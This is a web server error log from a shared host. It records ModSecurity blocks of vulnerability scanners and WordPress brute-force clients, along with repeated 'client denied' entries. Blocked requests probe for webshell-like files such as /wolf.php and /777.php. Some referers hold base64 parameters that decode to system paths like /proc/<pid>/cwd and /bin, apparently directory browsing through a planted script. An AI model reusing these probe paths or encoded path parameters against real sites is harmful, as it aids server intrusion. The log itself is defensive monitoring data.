https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MS9zdWJzeXN0ZW0vbW91c2UxL2RldmljZS9zdWJzeXN0ZW0vZXZlbnQxL3Bvd2Vy [Sat Jun 13 18:10:53.236050 2026] [access_compat:error] [pid 531155:tid 531195] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MS9zdWJzeXN0ZW0vbW91c2UxL2RldmljZS9zdWJzeXN0ZW0vZXZlbnQxL3Bvd2Vy [Sat Jun 13 18:10:53.342197 2026] [access_compat:error] [pid 531797:tid 531904] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?p=Ly9iaW4= [Sat Jun 13 18:10:53.342601 2026] [access_compat:error] [pid 531797:tid 531904] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?p=Ly9iaW4= [Sat Jun 13 18:10:53.377554 2026] [security2:error] [pid 531797:tid 532112] [client 20.9.67.71:36126] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 71.67.9.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mujermag.com.todadata.com"] [uri "/Cap.php"] [unique_id "ai3xjcTA7b1mZrmcA-8oNgAAAoU"] [Sat Jun 13 18:10:53.436931 2026] [autoindex:error] [pid 531797:tid 531999] [client 82.102.18.116:47610] AH01276: Cannot serve directory /home4/paintyou/public_html/vaidenfield/wp-content/mu-plugins/: No matching DirectoryIndex (index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.php,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive [Sat Jun 13 18:10:53.599023 2026] [security2:error] [pid 531797:tid 532013] [client 191.233.234.186:40284] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 186.234.233.191.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.hy-initiative.com"] [uri "/777.php"] [unique_id "ai3xjcTA7b1mZrmcA-8oQQAAAiU"] [Sat Jun 13 18:10:53.724761 2026] [access_compat:error] [pid 531155:tid 531214] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMC9zdWJzeXN0ZW0vZXZlbnQyL3N1YnN5c3RlbS9ldmVudDMvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:10:53.725215 2026] [access_compat:error] [pid 531155:tid 531214] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMC9zdWJzeXN0ZW0vZXZlbnQyL3N1YnN5c3RlbS9ldmVudDMvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:10:53.884427 2026] [access_compat:error] [pid 531797:tid 531867] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?p=Ly9iaW4= [Sat Jun 13 18:10:53.884717 2026] [access_compat:error] [pid 531797:tid 531867] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?p=Ly9iaW4= [Sat Jun 13 18:10:53.941105 2026] [access_compat:error] [pid 531797:tid 531965] [remote 57.141.14.101:39556] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:10:53.941416 2026] [access_compat:error] [pid 531797:tid 531965] [remote 57.141.14.101:39556] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:10:54.142775 2026] [access_compat:error] [pid 531797:tid 531968] [remote 57.141.14.26:32078] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:10:54.143195 2026] [access_compat:error] [pid 531797:tid 531968] [remote 57.141.14.26:32078] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:10:54.162131 2026] [security2:error] [pid 531797:tid 532100] [client 20.9.67.71:36207] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 71.67.9.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mujermag.com.todadata.com"] [uri "/spire.php"] [unique_id "ai3xjsTA7b1mZrmcA-8oVwAAAnk"] [Sat Jun 13 18:10:54.194617 2026] [access_compat:error] [pid 531797:tid 531948] [remote 57.141.14.32:45359] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:10:54.195138 2026] [access_compat:error] [pid 531797:tid 531948] [remote 57.141.14.32:45359] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:10:54.240749 2026] [access_compat:error] [pid 531155:tid 531169] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ni9tb3VzZTIvc3Vic3lzdGVtL21vdXNlMS9kZXZpY2UvY2FwYWJpbGl0aWVz [Sat Jun 13 18:10:54.241173 2026] [access_compat:error] [pid 531155:tid 531169] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ni9tb3VzZTIvc3Vic3lzdGVtL21vdXNlMS9kZXZpY2UvY2FwYWJpbGl0aWVz [Sat Jun 13 18:10:54.287812 2026] [access_compat:error] [pid 531155:tid 531185] [remote 57.141.14.66:32230] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:10:54.288080 2026] [access_compat:error] [pid 531155:tid 531185] [remote 57.141.14.66:32230] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:10:54.294898 2026] [access_compat:error] [pid 531797:tid 531935] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?p=Ly9iaW4= [Sat Jun 13 18:10:54.295175 2026] [access_compat:error] [pid 531797:tid 531935] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?p=Ly9iaW4= [Sat Jun 13 18:10:54.303959 2026] [security2:error] [pid 531797:tid 532085] [client 216.73.217.70:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 70.217.73.216.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mail.goldensnifferproducts.com"] [uri "/php52/ext/standard/tests/strings/vprintf_variation19.phpt"] [unique_id "ai3xjsTA7b1mZrmcA-8oYAAAAms"], referer: https://mail.goldensnifferproducts.com/php52/ext/standard/tests/strings/vprintf_variation19.phpt [Sat Jun 13 18:10:54.348093 2026] [access_compat:error] [pid 531797:tid 531903] [remote 57.141.14.99:35456] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:10:54.348359 2026] [access_compat:error] [pid 531797:tid 531903] [remote 57.141.14.99:35456] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:10:54.358797 2026] [security2:error] [pid 531155:tid 531258] [remote 17.22.253.132:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 132.253.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xjimiP80klyS0Nnr6MgABgWY"] [Sat Jun 13 18:10:54.486915 2026] [security2:error] [pid 531797:tid 532068] [client 20.9.67.71:47500] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 71.67.9.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "steaminnovationfoundation-org.nucreativesolutions.com"] [uri "/wolf.php"] [unique_id "ai3xjsTA7b1mZrmcA-8oYwAAAlo"] [Sat Jun 13 18:10:54.512916 2026] [security2:error] [pid 531797:tid 531900] [remote 17.241.75.166:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 166.75.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xjsTA7b1mZrmcA-8oZAACdyQ"] [Sat Jun 13 18:10:54.525634 2026] [security2:error] [pid 531797:tid 532025] [client 20.9.67.71:41951] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 71.67.9.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mail.naturistavanessa.com"] [uri "/wolf.php"] [unique_id "ai3xjsTA7b1mZrmcA-8oZQAAAjE"] [Sat Jun 13 18:10:54.650888 2026] [security2:error] [pid 531155:tid 531183] [remote 17.241.227.6:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 6.227.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xjimiP80klyS0Nnr6OgABShs"] [Sat Jun 13 18:10:54.762609 2026] [access_compat:error] [pid 531155:tid 531190] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ny9zdWJzeXN0ZW0vbW91c2UxL2RldmljZS9zdWJzeXN0ZW0vaW5wdXQy [Sat Jun 13 18:10:54.763057 2026] [access_compat:error] [pid 531155:tid 531190] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ny9zdWJzeXN0ZW0vbW91c2UxL2RldmljZS9zdWJzeXN0ZW0vaW5wdXQy [Sat Jun 13 18:10:54.808851 2026] [security2:error] [pid 531797:tid 531939] [remote 37.27.234.213:41338] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 213.234.27.37.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "mail.inplace-design.com"] [uri "/wp-login.php"] [unique_id "ai3xjsTA7b1mZrmcA-8oaQACiUs"] [Sat Jun 13 18:10:54.835624 2026] [access_compat:error] [pid 531797:tid 531887] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?p=Ly9iaW4= [Sat Jun 13 18:10:54.835916 2026] [access_compat:error] [pid 531797:tid 531887] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?p=Ly9iaW4= [Sat Jun 13 18:10:54.853051 2026] [lsapi:warn] [pid 531155:tid 531315] [client 35.168.132.30:62531] [host indoorenvironmentaltesting.com] Backend log: PHP Warning: Trying to access array offset on value of type bool in /home4/indoore1/public_html/wp-content/plugins/real-time-find-and-replace/real-time-find-and-replace.php on line 258\n [Sat Jun 13 18:10:54.974294 2026] [security2:error] [pid 531797:tid 532052] [client 20.9.67.71:36162] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 71.67.9.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mujermag.com.todadata.com"] [uri "/auto.php"] [unique_id "ai3xjsTA7b1mZrmcA-8obwAAAko"] [Sat Jun 13 18:10:54.994025 2026] [security2:error] [pid 531155:tid 531286] [client 191.234.188.123:63810] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 123.188.234.191.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webmail.onemontgomerygreen.org"] [uri "/s2.php"] [unique_id "ai3xjimiP80klyS0Nnr6RAAAAQs"] [Sat Jun 13 18:10:55.067292 2026] [security2:error] [pid 531155:tid 531274] [remote 74.7.227.22:36254] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 22.227.7.74.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mail.homs.co.ke"] [uri "/"] [unique_id "ai3xjymiP80klyS0Nnr6RQABK3Y"], referer: https://mail.homs.co.ke/?p=L3Byb2MvNTMxODAzL2N3ZC9BYQ== [Sat Jun 13 18:10:55.109601 2026] [security2:error] [pid 531797:tid 531923] [remote 17.22.237.129:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 129.237.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xj8TA7b1mZrmcA-8odQACgDs"] [Sat Jun 13 18:10:55.218270 2026] [access_compat:error] [pid 531797:tid 531981] [remote 57.141.14.48:44427] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:10:55.218743 2026] [access_compat:error] [pid 531797:tid 531981] [remote 57.141.14.48:44427] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:10:55.242987 2026] [security2:error] [pid 531797:tid 531892] [remote 143.198.203.76:60412] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 76.203.198.143.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "website-4f489b17.pgt.qqk.mybluehost.me"] [uri "/wp-login.php"] [unique_id "ai3xj8TA7b1mZrmcA-8oegACVhw"] [Sat Jun 13 18:10:55.320651 2026] [access_compat:error] [pid 531155:tid 531238] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMC9kZXZpY2UvZXZlbnQzL2RldmljZS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0MS9pZA== [Sat Jun 13 18:10:55.320926 2026] [access_compat:error] [pid 531155:tid 531238] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMC9kZXZpY2UvZXZlbnQzL2RldmljZS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0MS9pZA== [Sat Jun 13 18:10:55.376891 2026] [access_compat:error] [pid 531797:tid 531955] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?p=Ly9iaW4= [Sat Jun 13 18:10:55.377223 2026] [access_compat:error] [pid 531797:tid 531955] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?p=Ly9iaW4= [Sat Jun 13 18:10:55.384839 2026] [security2:error] [pid 531797:tid 532023] [client 172.171.3.232:37920] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 232.3.171.172.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mcips.co.uk"] [uri "/tymi.php"] [unique_id "ai3xj8TA7b1mZrmcA-8ofQAAAi8"] [Sat Jun 13 18:10:55.397170 2026] [security2:error] [pid 531797:tid 531962] [remote 17.246.23.127:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 127.23.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xj8TA7b1mZrmcA-8ofgACK2I"] [Sat Jun 13 18:10:55.469296 2026] [access_compat:error] [pid 531797:tid 531960] [remote 57.141.14.59:46637] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:10:55.469640 2026] [access_compat:error] [pid 531797:tid 531960] [remote 57.141.14.59:46637] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:10:55.496151 2026] [security2:error] [pid 531797:tid 531982] [remote 17.22.253.204:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 204.253.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xj8TA7b1mZrmcA-8ogwACWXU"] [Sat Jun 13 18:10:55.882974 2026] [access_compat:error] [pid 531155:tid 531161] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ni9ldmVudDUvc3Vic3lzdGVtL2lucHV0NC9zdWJzeXN0ZW0vZXZlbnQxL3Bvd2Vy [Sat Jun 13 18:10:55.883437 2026] [access_compat:error] [pid 531155:tid 531161] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: 